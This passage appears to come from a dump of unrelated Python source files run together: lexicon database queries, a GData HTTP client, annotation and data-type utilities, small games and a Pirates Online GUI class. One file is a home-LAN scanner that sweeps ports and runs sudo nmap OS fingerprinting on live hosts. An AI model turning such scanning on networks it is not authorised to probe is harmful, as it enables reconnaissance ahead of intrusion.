cnx.cursor() query = ( 'select ' ' w.lexFrameKey as WordCategorySegment_lexFrameKey,' ' w.position as WordCategorySegment_position,' ' w.facultative as WordCategorySegment_facultative,' ' s.pos1 as Segment_pos1,' ' s.pos2 as Segment_pos2,' ' s.pos3 as Segment_pos2,' ' s.example as Segment_example,' ' u.cond as UnificationFeatures_condition,' ' u.feature as UnificationFeatures_feature,' ' u.example as UnificationFeatures_example' ' from WordCategorySegment w' ' inner join Segment s on s.position = w.position' ' left join UnificationFeatures u on u.position = w.position' ' where w.lexFrameKey=%s' ' order by w.facultative, w.position;') cursor.execute(query, (lexFrameKey,)) cnx.close() return form_frames(cursor) def get_frame_features(lexFrameKey): cnx = connect() if cnx: cursor = cnx.cursor() query = ( ' select' ' c.lexFrameKey as WordCategory_lexFrameKey,' ' c.lexFrame as WordCategory_lexFrame,' ' c.pos as WordCategory_pos,' ' c.description as WordCategory_description,' ' c.feature as WordCategory_feature,' ' c.example as WordCategory_example,' ' p.description as PartOfSpeech_description,' ' p.feature as PartOfSpeech_feature,' ' p.example as PartOfSpeech_example' ' from WordCategory c' ' inner join PartOfSpeech p ON p.pos = c.pos where c.lexFrameKey=%s') cursor.execute(query, (lexFrameKey,)) cnx.close() return form_frames(cursor) def get_frame_examples(lexFrameKey): cnx = connect() if cnx: cursor = cnx.cursor() query = ( ' select f.lemmaId as WordFrame_lemmaId,' ' f.lexFrameKey as WordFrame_lexFrameKey,' ' f.inflParadigmKey as WordFrame_inflParadigmKey,' ' l.lemma as Lemma_lemma,' # ' l.feature as Lemma_feature,' ' w.word as WordForm_word,' ' w.pronuncation as WordForm_pronuncation,' ' w.inflFormKey as WordForm_inflFormKey,' ' i.description as InflectionalForm_description,' ' i.feature as InflectionalForm_feature' ' from WordFrame f' ' inner join Lemma l on l.lemmaId = f.lemmaId' ' inner join WordForm w on f.lemmaId = w.lemmaId' ' inner join InflectionalForm i on i.inflFormKey = w.inflFormKey' ' where f.lexFrameKey =%s order by l.lemma, w.word limit 1000;') cursor.execute(query, (lexFrameKey,)) cnx.close() return form_frames(cursor) def form_frames(cursor): frames = [] if cursor: frames.append(('',) + cursor.column_names) for rule in cursor: frames.append(tuple( item if isinstance(item, (str, int)) else '' if not item else item.decode("utf-8") for item in rule)) cursor.close() return frames def get_frame_extensions(dump = True): cnx = connect() extensions = [] if cnx: cursor = cnx.cursor() query = ('select CONCAT(position, ";", COALESCE(cond,""), ";", features, ";", example) from LexFrameExtensions;') cursor.execute(query) for (line,) in cursor: extensions.append(line) if dump: with open('../../fsa/extensions.csv', "w") as f: f.write('\n'.join(extensions)) cursor.close() cnx.close() return extensions def read_extensions(): extensions = [] with open('../../fsa/extensions.csv', "r") as file: for line in file: columns = line.split(';') if columns: ext = {} lhs,gf,rhs = columns[0].split('_') ext[GRAM_FUNC_FEATURE] = gf ext['lhs'] = lhs ext['rhs'] = rhs if len(columns[1].strip()): ext['cond'] = columns[1] ext['feat'] = columns[2] if len(columns[3].strip()): ext['example'] = columns[3] extensions.append(ext) return extensions if __name__ == "__main__": # get_rules('Monopole sollen geknackt werden'.split()) # get_frame_extensions() # print(read_extensions()) # fstruct_reader = CelexFeatStructReader(fdict_class=FeatStructNonterminal) # print(build_rules('Kurier'.split(), fstruct_reader)) frames = get_word_inf('werden') print(frames) mtktauseef/wordpresstoblogger #!/usr/bin/python # # Copyright (C) 2008 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """This module provides a common interface for all HTTP requests. HttpResponse: Represents the server's response to an HTTP request. Provides an interface identical to httplib.HTTPResponse which is the response expected from higher level classes which use HttpClient.request. GenericHttpClient: Provides an interface (superclass) for an object responsible for making HTTP requests. Subclasses of this object are used in AtomService and GDataService to make requests to the server. By changing the http_client member object, the AtomService is able to make HTTP requests using different logic (for example, when running on Google App Engine, the http_client makes requests using the App Engine urlfetch API). """ __author__ = 'api.jscudder ()' import StringIO USER_AGENT = '%s GData-Python/2.0.10' class Error(Exception): pass class UnparsableUrlObject(Error): pass class ContentLengthRequired(Error): pass class HttpResponse(object): def __init__(self, body=None, status=None, reason=None, headers=None): """Constructor for an HttpResponse object. HttpResponse represents the server's response to an HTTP request from the client. The HttpClient.request method returns a httplib.HTTPResponse object and this HttpResponse class is designed to mirror the interface exposed by httplib.HTTPResponse. Args: body: A file like object, with a read() method. The body could also be a string, and the constructor will wrap it so that HttpResponse.read(self) will return the full string. status: The HTTP status code as an int. Example: 200, 201, 404. reason: The HTTP status message which follows the code. Example: OK, Created, Not Found headers: A dictionary containing the HTTP headers in the server's response. A common header in the response is Content-Length. """ if body: if hasattr(body, 'read'): self._body = body else: self._body = StringIO.StringIO(body) else: self._body = None if status is not None: self.status = int(status) else: self.status = None self.reason = reason self._headers = headers or {} def getheader(self, name, default=None): if name in self._headers: return self._headers[name] else: return default def read(self, amt=None): if not amt: return self._body.read() else: return self._body.read(amt) class GenericHttpClient(object): debug = False def __init__(self, http_client, headers=None): """ Args: http_client: An object which provides a request method to make an HTTP request. The request method in GenericHttpClient performs a call-through to the contained HTTP client object. headers: A dictionary containing HTTP headers which should be included in every HTTP request. Common persistent headers include 'User-Agent'. """ self.http_client = http_client self.headers = headers or {} def request(self, operation, url, data=None, headers=None): all_headers = self.headers.copy() if headers: all_headers.update(headers) return self.http_client.request(operation, url, data=data, headers=all_headers) def get(self, url, headers=None): return self.request('GET', url, headers=headers) def post(self, url, data, headers=None): return self.request('POST', url, data=data, headers=headers) def put(self, url, data, headers=None): return self.request('PUT', url, data=data, headers=headers) def delete(self, url, headers=None): return self.request('DELETE', url, headers=headers) class GenericToken(object): """Represents an Authorization token to be added to HTTP requests. Some Authorization headers included calculated fields (digital signatures for example) which are based on the parameters of the HTTP request. Therefore the token is responsible for signing the request and adding the Authorization header. """ def perform_request(self, http_client, operation, url, data=None, headers=None): """For the GenericToken, no Authorization token is set.""" return http_client.request(operation, url, data=data, headers=headers) def valid_for_scope(self, url): """Tells the caller if the token authorizes access to the desired URL. Since the generic token doesn't add an auth header, it is not valid for any scope. """ return False for i in range(int(input())): x=input() if x[len(x)//2-1]==x[len(x)//2]: print('Do-it') else: print('Do-it-Not')data/data_prepare/genAnno.py10-100 __author__ = "willy" #generate training annotational data for our method import os import xml.etree.cElementTree as ET root_dir = r'/media/wl/tv16exp01/detrac' imgpath = os.path.join(root_dir, 'Insight-MVT_Annotation_Train') dir_dic = {} #make the corresponding to training and xml directory for i in os.listdir(imgpath): dir_dic[i.split('_')[-1]] = i if __name__ == '__main__': xmlpath = os.path.join(root_dir, 'DETRAC-Train-Annotations-XML') annopath = os.path.join(root_dir, 'anno') for i in os.listdir(xmlpath): annofile = os.path.join(annopath, dir_dic[i.split('.')[0].split('_')[-1]]) xmlfile = os.path.join(xmlpath, i) os.mkdir(annofile) tree = ET.parse(xmlfile) root = tree.getroot()#sequence #ignore region for ignore in root.findall('ignored_region'): ignorefile = os.path.join(annofile, 'ignored_region') fi = open(ignorefile, 'w') fi.write('ignored_region\n') fi.write(str(len(ignore.findall('box'))) + '\n') for box in ignore.findall('box'): str1 = box.get('left') + ' ' + box.get('top') + ' ' + box.get('width') + ' ' + box.get('height') + '\n' fi.write(str1) fi.close() #each frame generate an annotation file for frame in root.findall('frame'): framefile = os.path.join(annofile, 'img'+"%05d"%int(frame.get('num'))) ff = open(framefile, 'w') ff.write('img'+"%05d"%int(frame.get('num')) + '\n') ff.write(str(len(frame[0].findall('target'))) + '\n') #print frame[0][0][0].get('left') for target in frame[0].findall('target'): #print target[0] str2 = target[0].get('left') + ' ' + target[0].get('top') + ' ' + target[0].get('width') + ' ' + target[0].get('height') + '\n' ff.write(str2) ff.close() pursultani/struct-model # # Copyright # import collections import datetime import re from structmodel.utils import * from structmodel.exceptions import * from structmodel.options import AttributeOptions def comparable_dict(rhs, *args): if rhs == None: return None if isinstance(rhs, dict): return rhs if hasattr(rhs, '__dict__'): return rhs.__dict__ if args: return args[0] raise TypeError('incomparable type') class AbstractStruct(collections.MutableMapping): def __init__(self, **source): super(AbstractStruct, self).__init__() self.assign(**source) def __iter__(self): return self.__dict__.__iter__() def __getitem__(self, key): raise NotImplementedError() def __setitem__(self, key, value): raise NotImplementedError() def __delitem__(self, key): raise NotImplementedError() def __getattr__(self, key): return self.__getitem__(key) def __setattr__(self, key, value): self.__setitem__(key, value) def __delattr__(self, key): self.__delitem__(key) def __len__(self): return len(self.__dict__) def __cmp__(self, rhs): return self.__dict__.__cmp__( comparable_dict(rhs)) def __lt__(self, rhs): return self.__dict__.__lt__( comparable_dict(rhs)) def __gt__(self, rhs): return self.__dict__.__gt__( comparable_dict(rhs)) def __le__(self, rhs): return self.__dict__.__le__( comparable_dict(rhs)) def __ge__(self, rhs): return self.__dict__.__ge__( comparable_dict(rhs)) def __eq__(self, rhs): return False if rhs == None \ else self.__dict__.__eq__( comparable_dict(rhs, rhs)) def __ne__(self, rhs): return not self.__eq__(rhs) def __str__(self): return str(self.__dict__) def __repr__(self): return str(self.__dict__) def assign(self, **source): for item in source.iteritems(): self.__setitem__(item[0], item[1]) return self def validate(self): raise NotImplementedError() def json(self): raise NotImplementedError() class DataType(object): registry = {} @classmethod def register(cls, type_cls): if not issubclass(type_cls, DataType): raise UnexpectedError( '%s is not a valid type subclass.' % type_cls) if not hasattr(type_cls, '__type__'): raise UnexpectedError( '%s does not have type declaration.' % type_cls) if not hasattr(type_cls, '__builders__'): raise UnexpectedError( '%s does not have builders declaration.' % type_cls) cls.registry[type_cls.__type__] = type_cls.__builders__ return type_cls @classmethod def process_value(cls, opts, value): if opts.required and value == None: raise MissingRequiredValueError(opts.namespace, opts.name) next_value = value filters = opts.cache.filters if not filters: _ = opts.type if issubclass(_, AbstractStruct): _ = object elif _ not in cls.registry: raise UnrecognizedTypeError(opts.namespace, opts.name, _) filters = [] for builder_func in cls.registry[_]: filter_func = builder_func(opts) if filter_func: filters.append(filter_func) opts.cache.filters = filters for filter_func in filters: next_value = filter_func(next_value, opts) return next_value class GenericType(DataType): @classmethod def required(cls, x, opts): if opts.required and not x: raise MissingRequiredValueError(opts.namespace, opts.name) return x @DataType.register class ObjectType(GenericType): __type__ = object __builders__ = [ lambda opts: ObjectType.value_of, lambda opts: ObjectType.required \ if opts.required else None ] @classmethod def value_of(cls, x, opts): if x == None: return None _ = opts.type if not issubclass(_, AbstractStruct): raise UnrecognizedTypeError(opts.namespace, opts.name, _) if isinstance(x, _): return x if isinstance(x, dict): return _().assign(**x) if hasattr(x, '__dict__'): return _().assign(**x.__dict__) raise IncompatibleTypeError(opts.namespace, opts.name, _, type(x)) @DataType.register class StringType(GenericType): __type__ = str __builders__ = [ lambda opts: StringType.value_of, lambda opts: StringType.required \ if opts.required else None, lambda opts: StringType.match \ if opts.pattern else None, lambda opts: StringType.strip \ if opts.strip else None, lambda opts: StringType.cleanse \ if opts.cleanse else None, lambda opts: StringType.normalize \ if opts.normalize else None ] @classmethod def value_of(cls, x, opts): return unicode(x) @classmethod def match(cls, s, opts): pattern = opts.pattern if pattern and not re.match(pattern, s): raise PatternMismatchError( opts.namespace, opts.name, pattern, s) return s @classmethod def strip(cls, s, opts): if hasattr(s, 'strip'): return s.strip() @classmethod def cleanse(cls, s, opts): return cleanse_str(s) @classmethod def normalize(cls, s, opts): return normalize_str(s) @DataType.register class BooleanType(DataType): __type__ = bool __builders__ = [ lambda opts: BooleanType.value_of ] @classmethod def value_of(cls, x, opts): if isinstance(x, bool): return x if str(x).lower() == 'true': return True if str(x).lower() == 'false': return False return bool(x) class NumericType(DataType): @classmethod def value_of(cls, x, opts): if isinstance(x, cls.__type__): return x if is_numeric(x): return cls.__type__(x) ordinal = as_ordinal(x) return cls.__type__(ordinal if ordinal else str(x)) @classmethod def required(cls, n, opts): if opts.required and n == None: raise InvalidValueError( opts.namespace, opts.name, 'required', n) return n @DataType.register class IntegerType(NumericType): __type__ = int __builders__ = [ lambda opts: IntegerType.value_of, lambda opts: IntegerType.required \ if opts.required else None ] @DataType.register class LongType(NumericType): __type__ = long __builders__ = [ lambda opts: LongType.value_of, lambda opts: LongType.required \ if opts.required else None ] @DataType.register class FloatType(NumericType): __type__ = float __builders__ = [ lambda opts: FloatType.value_of, lambda opts: FloatType.required \ if opts.required else None ] class TemporalType(GenericType): @classmethod def parse(cls, x, opts): return datetime.datetime.strptime(str(x), opts.format if opts.format else cls.DEFAULT_FORMAT) \ if x else None @DataType.register class DateType(TemporalType): __type__ = datetime.date __builders__ = [ lambda opts: DateType.value_of, lambda opts: DateType.required \ if opts.required else None ] DEFAULT_FORMAT = '%Y-%m-%d' @classmethod def value_of(cls, x, opts): if isinstance(x, datetime.date): return x if isinstance(x, datetime.datetime): return x.date() if is_numeric(x): return datetime.date.fromtimestamp(x) return cls.parse(x, opts).date() @DataType.register class TimeType(TemporalType): __type__ = datetime.time __builders__ = [ lambda opts: TimeType.value_of, lambda opts: TimeType.required \ if opts.required else None ] DEFAULT_FORMAT = '%H:%M:%S' @classmethod def value_of(cls, x, opts): if isinstance(x, datetime.time): return x if isinstance(x, datetime.datetime): return x.time() return cls.parse(x, opts).time() @DataType.register class DateTimeType(TemporalType): __type__ = datetime.datetime __builders__ = [ lambda opts: DateTimeType.value_of, lambda opts: DateTimeType.required \ if opts.required else None ] DEFAULT_FORMAT = '%Y-%m-%dT%H:%M:%S' @classmethod def value_of(cls, x, opts): if isinstance(x, datetime.datetime): return x if isinstance(x, datetime.date): return datetime.datetime.combine(x, datetime.time()) if isinstance(x, datetime.time): return datetime.datetime.combine(datetime.date.today(), x) if is_numeric(x): return datetime.datetime.fromtimestamp(x) return cls.parse(x, opts) class CustomList(list): def __init__(self, opts): self.opts = opts def check_length(self, delta): _est = self.__len__() + delta _min = self.opts.min_length _max = self.opts.max_length if _min and _est < _min: raise ListBoundaryViolationError(self.opts.namespace, self.opts.name, _est, min_length = _min, max_length = _max if _max else None) if _max and _est > _max: raise ListBoundaryViolationError(self.opts.namespace, self.opts.name, _est, max_length = _max, min_length = _min if _min else None) def process_value(self, value): item_opts = self.opts.cache.item if not item_opts: raise UnexpectedError( '%s: invalid list setup' % qname( self.opts.namespace, self.opts.name)) return DataType.process_value(item_opts, value) def __add__(self, x): return super(CustomList, self). \ __add__(map(self.process_value, x)) def __iadd__(self, x): self.check_length(len(x)) return super(CustomList, self). \ __iadd__(map(self.process_value, x)) def __imul__(self, n): self.check_length(len(self) * (n - 1)) return super(CustomList, self).__imul__(n) def __setitem__(self, i, y): return super(CustomList, self). \ __setitem__(i, self.process_value(y)) def __setslice__(self, i, j, x): self.check_length(i - min(len(self), j) + len(x)) return super(CustomList, self). \ __setslice__(i, j, map(self.process_value, x)) def __delitem__(self, i): self.check_length(-1) super(CustomList, self).__delitem__(i) def __delslice__(self, i, j): self.check_length(i - j) super(CustomList, self).__delslice__(i, j) def append(self, x): self.check_length(1) super(CustomList, self). \ append(self.process_value(x)) def extend(self, x): self.check_length(len(x)) super(CustomList, self). \ extend(map(self.process_value, x)) def insert(self, i, x): self.check_length(1) super(CustomList, self). \ insert(i, self.process_value(x)) def pop(self, *args): self.check_length(-1) return super(CustomList, self).pop(*args) def remove(self, x): if x in self: self.check_length(-1) super(CustomList, self).remove(x) @DataType.register class ListType(GenericType): __type__ = list __builders__ = [ lambda opts: ListType.value_of, lambda opts: ListType.required \ if opts.required else None ] @classmethod def value_of(cls, x, opts): if not opts.cache.item: opts.cache.item = AttributeOptions(opts.namespace, opts.name + '[*]', **{key[5:]: opts[key] \ for key in opts if key.startswith('item_')}) value = CustomList(opts) if not hasattr(x, '__iter__') or not hasattr(x, '__len__'): raise NonIterableTypeError(opts.namespace, opts.name, type(x)) value.extend(x) return value import sys sys.path.append('../linked_list') from linked_list import LinkedList class Queue: def __init__(self): self.size = 0 self.storage = LinkedList() def enqueue(self, item): self.storage.add_to_tail(item) self.size += 1 def dequeue(self): removed = self.storage.remove_head() if removed: self.size -= 1 return removed def len(self): return self.size import paho if __name__ == '__main__': print('Paho MQTT client')""" Description: Scan ipaddresses in your Home LAN. Get OS and currently up configuration """ __author__ = '' __email__ = '' import os import nmap import socket import traceback import subprocess from netaddr import * class LANNetworkInfo(object): """ Use nmap and get network data.""" def __init__(self): """ Initialize object.""" #Following parameters are candidate for config files self.networkRange = '192.168.0.0/28' self.devicesUp = [] self.portRange = '22-80' self.output = None self.count = 0 self.separator = '\n==========================\n' def GetHostListInNetwork(self): """ Get a list of IPs in a network. Copied this function from internet.""" try: ipNet = IPNetwork(self.networkRange) hosts = list(ipNet) if len(hosts) > 2: hosts.remove(ipNet.broadcast) hosts.remove(ipNet.network) hostList = [str(host) for host in hosts] nm = nmap.PortScanner() for host in hostList: nm.scan(host, self.portRange) hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()] for host, status in hosts_list: self.devicesUp.append(host) print('{0}:{1}'.format(host, status)) except: exception = traceback.print_exc() print exception def logOutput(self, buffer, name=None): fileLog = None if name == None: #Check if file exists and create the one with new one. fileLog = open( './logs/' + str(name), 'w') else: fileLog = open( './logs/' + name, 'w') fileLog.write(buffer) fileLog.close() def identifyOS(self): try: print 'In progres ... ', for device in self.devicesUp: print '.', cmd = 'sudo nmap -PN -O ' + device command = cmd.split(' ') process = subprocess.Popen( command, stdout=subprocess.PIPE) out, err = process.communicate() print '..', self.output = self.separator + "Output " + device + self.separator + str(out) + "\nError:\n" + str(err) + "\n" self.logOutput(self.output, 'Out'+device) except: exception = traceback.print_exc() print exception if __name__ == '__main__': objLANInfo = LANNetworkInfo() objLANInfo.GetHostListInNetwork() objLANInfo.identifyOS() import random print("\n" * 20) print("-" * 20) def allumettes(nombreAllumettes): restantes = nombreAllumettes bot = random.choice([True, False]) print(f"Le hasard a décidé de faire commencer le {'bot' if bot else 'joueur'}.") while restantes > 1: restantes -= tour(restantes, bot) bot = False if bot else True if restantes > 0: print( f"Il ne reste qu'une seule allumette ! Le {'joueur' if bot else 'bot'} a gagné !" ) else: print( f"Le {'joueur' if bot else 'bot'} a pris la dernière allumette : Il a perdu !" ) def tour(nombreAllumettes, bot): print( f"{nombreAllumettes*'|'} ({nombreAllumettes}) -> C'est au {'bot' if bot else 'joueur'} de jouer !" ) if bot: # on génère les multiples de 4 + 1 et on récupère le dernier avant le nombre d'allumettes, forcément accessible en prenant # une à trois allumettes. positionGagnante = [i for i in range(1, nombreAllumettes, 4)][-1] # dans le cas où le joueur joue en premier et arrive à mettre le nombre d'allumettes à un multiple de 4+1, # notre bot va vouloir prendre 4 allumette pour récupérer un multiple de 4+1. C'est interdit, on prends donc # trois allumettes mais si le joueur connaît l'astuce et ne fait plus d'erreur, le bot a forcément perdu. choix = nombreAllumettes - positionGagnante if choix > 3: choix = 3 print(f"Le bot a chosi de retirer {choix} allumettes.") return choix # pour un bot qui fait ses choix au pif : # choix = random.choice(range(1, min(nombreAllumettes, 3)+1)) # print(f"Le bot a choisi de retirer {choix} allumettes.") # return choix else: choix = None choixPossibles = range(1, min(nombreAllumettes, 3) + 1) while choix not in choixPossibles: choix = int( input( f"Combien d'allumettes souhaitez vous retirer ? (choix possibles : <{', '.join([str(choix) for choix in choixPossibles])}>): " ) ) print(f"Le joueur a choisi de retirer {choix} allumettes.") return choix allumettes(random.randint(10, 20)) Willy5s/Pirates-Online-Rewritten from direct.gui.DirectGui import * from pandac.PandaModules import * from pirates.piratesbase import PLocalizer from pirates.piratesgui import PiratesGuiGlobals from pirates.piratesgui.BorderFrame import BorderFrame from pirates.ship import ShipGlobals from pirates.ship import ShipBlueprints from pirates.piratesbase import Freebooter from pandac.PandaModules import TextureStage from pirates.uberdog.UberDogGlobals import InventoryType from pirates.piratesbase import PiratesGlobals from pirates.ship import ShipUpgradeGlobals from pirates.economy import EconomyGlobals from pirates.battle import WeaponGlobals from pirates.inventory import InventoryGlobals from pirates.piratesgui import ShipUpgradeConfirm from pandac.PandaModules import NodePath, TextureStage, ModelNode, SceneGraphReducer, TextureAttrib, CullFaceAttrib, GeomNode, TransparencyAttrib, CullBinAttrib class ShipUpgradeInterface(DirectFrame): def __init__(self, parent, **kw): gui = loader.loadModel('models/gui/pir_m_gui_frm_shipUpgrade2') DirectFrame.__init__(self, parent=parent, relief=None, pos=(0, 0, 0.0), scale=1.0) self.initialiseoptions(ShipUpgradeInterface) self.interface = gui self.interface.reparentTo(self) self.interface.setScale(0.32) spotsLeft = [ self.interface.find('**/icon_frames_down/icon_frame_down1'), self.interface.find('**/icon_frames_down/icon_frame_down2'), self.interface.find('**/icon_frames_down/icon_frame_down3')] spotsMiddle = [self.interface.find('**/icon_frames_down1/icon_frame_down4'), self.interface.find('**/icon_frames_down1/icon_frame_down2'), self.interface.find('**/icon_frames_down1/icon_frame_down5')] spotsRight = [self.interface.find('**/icon_frames_down2/icon_frame_down1'), self.interface.find('**/icon_frames_down2/icon_frame_down2'), self.interface.find('**/icon_frames_down2/icon_frame_down3')] self.spotMarkers = [ spotsLeft, spotsMiddle, spotsRight] self.choiceButtons = [] self.ship = None self.shipModel = None self.shipId = None self.previewValue = None self.previewCat = 0 self.pageCount = 0 self.maxPageCount = 0 self.pageMode = '' self.waitingForUpgrade = False self.viewingCurrent = False self.viewingDowngrade = False self.viewingSidegrade = False self.tooExpensive = False left = -0.57 top = -0.34 midV = -0.625 bottom = -0.895 midH = -0.0085 right = 0.56 superRight = 0.56 self.arrowDict = {(0, 0): self.interface.find('**/arrows/downgrade_upper_arrow'),(0, 1): self.interface.find('**/arrows/downgrade_mid_arrow'),(0, 2): self.interface.find('**/arrows/downgrade_lower_arrow'),(1, 0): self.interface.find('**/arrows/sidegrade_upper_arrow'),(1, 1): None,(1, 2): self.interface.find('**/arrows/sidegrade_lower_arrow'),(2, 0): self.interface.find('**/arrows/upgrade_upper_arrow'),(2, 1): self.interface.find('**/arrows/upgrade_mid_arrow'),(2, 2): self.interface.find('**/arrows/Upgrade_lower_arrow')} self.upgradeLine = self.interface.find('**/arrows/upgrade_line') self.downgradeLine = self.interface.find('**/arrows/downgrade_line') self.spotDict = {0: [],1: [1],2: [0, 2],3: [0, 1, 2]} self.buttonPostions = [ [ ( left, 0, top), (left, 0, midV), (left, 0, bottom)], [(midH, 0, top), (midH, 0, midV), (midH, 0, bottom)], [(right, 0, top), (superRight, 0, midV), (right, 0, bottom)]] self.callback = None self.descriptionString = '' self.costString = '' self.attributeString = '' self.ownedString = '' self.currencyIconDict = None self.hullDetailIconDict = None self.broadsideIconDict = None self.sailSkillIconDict = None self.confirmPanel = None self.broadsideIdList = [ InventoryType.CannonThunderbolt, InventoryType.CannonFury, InventoryType.CannonChainShot, InventoryType.CannonGrapeShot, InventoryType.CannonExplosive, InventoryType.CannonFirebrand] self.sailSkillList = [ InventoryType.SailFullSail, InventoryType.SailTakeCover, InventoryType.SailOpenFire] self.setupGui() self.hide() base.sui = self return def destroy(self): self.choiceButtons = [] self.currencyLabels = [] self.upgradeLine = None self.downgradeLine = None self.currencyIconDict = None self.hullDetailIconDict = None self.broadsideIconDict = None self.sailSkillIconDict = None self.interface.removeNode() self.interface = None DirectFrame.destroy(self) return def setupGui(self): self.currencyIconDict = {} skillIcons = loader.loadModel('models/textureCards/skillIcons') MaterialIcons = loader.loadModel('models/textureCards/shipMaterialIcons') topGuiIcons = loader.loadModel('models/gui/toplevel_gui') tpMgr = TextPropertiesManager.getGlobalPtr() for currencyId in ShipUpgradeGlobals.COST_LIST: if currencyId == InventoryType.ItemTypeMoney: currencyIcon = topGuiIcons.find('**/treasure_w_coin*') currencyIcon.setScale(7.0) else: currencyIcon = MaterialIcons.find('**/%s' % EconomyGlobals.getItemIcons(currencyId)) currencyIcon.setScale(1.8) iconKey = 'currency-%s' % currencyId self.currencyIconDict[currencyId] = currencyIcon tg = TextGraphic(currencyIcon, -0.25, 0.75, -0.31, 0.69) tpMgr.setGraphic(iconKey, tg) self.broadsideIconDict = {} for broadsideId in self.broadsideIdList: ammoIconName = WeaponGlobals.getSkillIcon(broadsideId) broadsideIcon = skillIcons.find('**/%s' % ammoIconName) iconKey = 'broadside-%s' % broadsideId self.broadsideIconDict[broadsideId] = broadsideIcon tg = TextGraphic(broadsideIcon, -0.25, 0.75, -0.31, 0.69) tpMgr.setGraphic(iconKey, tg) self.sailSkillIconDict = {} for sailSkillId in self.sailSkillList: ammoIconName = WeaponGlobals.getSkillIcon(sailSkillId) sailSkillIcon = skillIcons.find('**/%s' % ammoIconName) sailSkillIcon.setScale(2.0) iconKey = 'sailSkill-%s' % sailSkillId self.sailSkillIconDict[sailSkillId] = sailSkillIcon tg = TextGraphic(sailSkillIcon, -0.25, 0.75, -0.31, 0.69) tpMgr.setGraphic(iconKey, tg) self.hullDetailIconDict = {} buffCard = loader.loadModel('models/textureCards/buff_icons') inventoryGui = loader.loadModel('models/gui/gui_icons_inventory') armorIcon = buffCard.find('**/sail_take_cover') armorIcon.setScale(2.0) self.hullDetailIconDict['armor'] = armorIcon tg = TextGraphic(armorIcon, -0.25, 0.75, -0.31, 0.69) iconKey = 'dtl-armor' tpMgr.setGraphic(iconKey, tg) speedIcon = buffCard.find('**/sail_full_sail') speedIcon.setScale(2.0) self.hullDetailIconDict['speed'] = speedIcon tg = TextGraphic(speedIcon, -0.25, 0.75, -0.31, 0.69) iconKey = 'dtl-speed' tpMgr.setGraphic(iconKey, tg) turningIcon = buffCard.find('**/sail_come_about') turningIcon.setScale(2.0) self.hullDetailIconDict['speed'] = turningIcon tg = TextGraphic(turningIcon, -0.25, 0.75, -0.31, 0.69) iconKey = 'dtl-turning' tpMgr.setGraphic(iconKey, tg) cargoIcon = inventoryGui.find('**/pir_t_ico_trs_chest_01*') cargoIcon.setScale(2.0) self.hullDetailIconDict['cargo'] = cargoIcon tg = TextGraphic(cargoIcon, -0.25, 0.75, -0.31, 0.69) iconKey = 'dtl-cargo' tpMgr.setGraphic(iconKey, tg) self.logoLayerInv = TextureStage('logoInverse') self.logoLayerInv.setSort(1) self.logoLayerInv.setCombineRgb(TextureStage.CMReplace, TextureStage.CSTexture, TextureStage.COOneMinusSrcColor) self.logoLayerInv.setCombineAlpha(TextureStage.CMReplace, TextureStage.CSTexture, TextureStage.COSrcAlpha) Gui = loader.loadModel('models/gui/toplevel_gui') generic_x = Gui.find('**/generic_x') generic_box = Gui.find('**/generic_box') generic_box_over = Gui.find('**/generic_box_over') self.closeButton = DirectButton(parent=self, relief=None, pos=(1.28, 0, 0.67), scale=0.38, geom=generic_x, image=(generic_box, generic_box, generic_box_over, generic_box), image_scale=0.7, text='', textMayChange=1, command=self.close) buttonImage = ( Gui.find('**/generic_button'), Gui.find('**/generic_button_down'), Gui.find('**/generic_button_over'), Gui.find('**/generic_button_disabled')) model = loader.loadModel('models/gui/avatar_chooser_rope') selectImage = (model.find('**/avatar_c_B_bottom'), model.find('**/avatar_c_B_bottom'), model.find('**/avatar_c_B_bottom_over')) self.confirmButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.4, 1.0, 0.27), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradePurchaseConfirm, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(1.01, 0, -0.82), state=DGG.DISABLED, command=self.confirmPurchase) self.showNextButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.15, 1.0, 0.25), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradeShowNext, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.5, 0, -0.95), state=DGG.NORMAL, command=self.showNext) self.showNextButton.hide() self.showPrevButton = DirectButton(parent=self, relief=None, image=selectImage, image_scale=(0.15, 1.0, 0.25), image0_color=VBase4(0.65, 0.65, 0.65, 1), image1_color=VBase4(0.4, 0.4, 0.4, 1), image2_color=VBase4(0.9, 0.9, 0.9, 1), image3_color=VBase4(0.41, 0.4, 0.4, 1), text=PLocalizer.UpgradeShowPrev, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_pos=(0, -0.01), text_scale=PiratesGuiGlobals.TextScaleLarge, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.275, 0, -0.95), state=DGG.NORMAL, command=self.showPrev) self.showPrevButton.hide() self.title = DirectLabel(parent=self, relief=None, text=PLocalizer.UpgradeTitle, text_font=PiratesGlobals.getPirateBoldOutlineFont(), text_align=TextNode.ACenter, text_scale=PiratesGuiGlobals.TextScaleTitleSmall, text_fg=PiratesGuiGlobals.TextFG2, text_shadow=PiratesGuiGlobals.TextShadow, pos=(0.23, 0, 0.69), textMayChange=1) self.upgradeLineTitle = DirectLabel(parent=self.upgradeLine, relief=None, text=PLocalizer.UpgradeLineTitle, 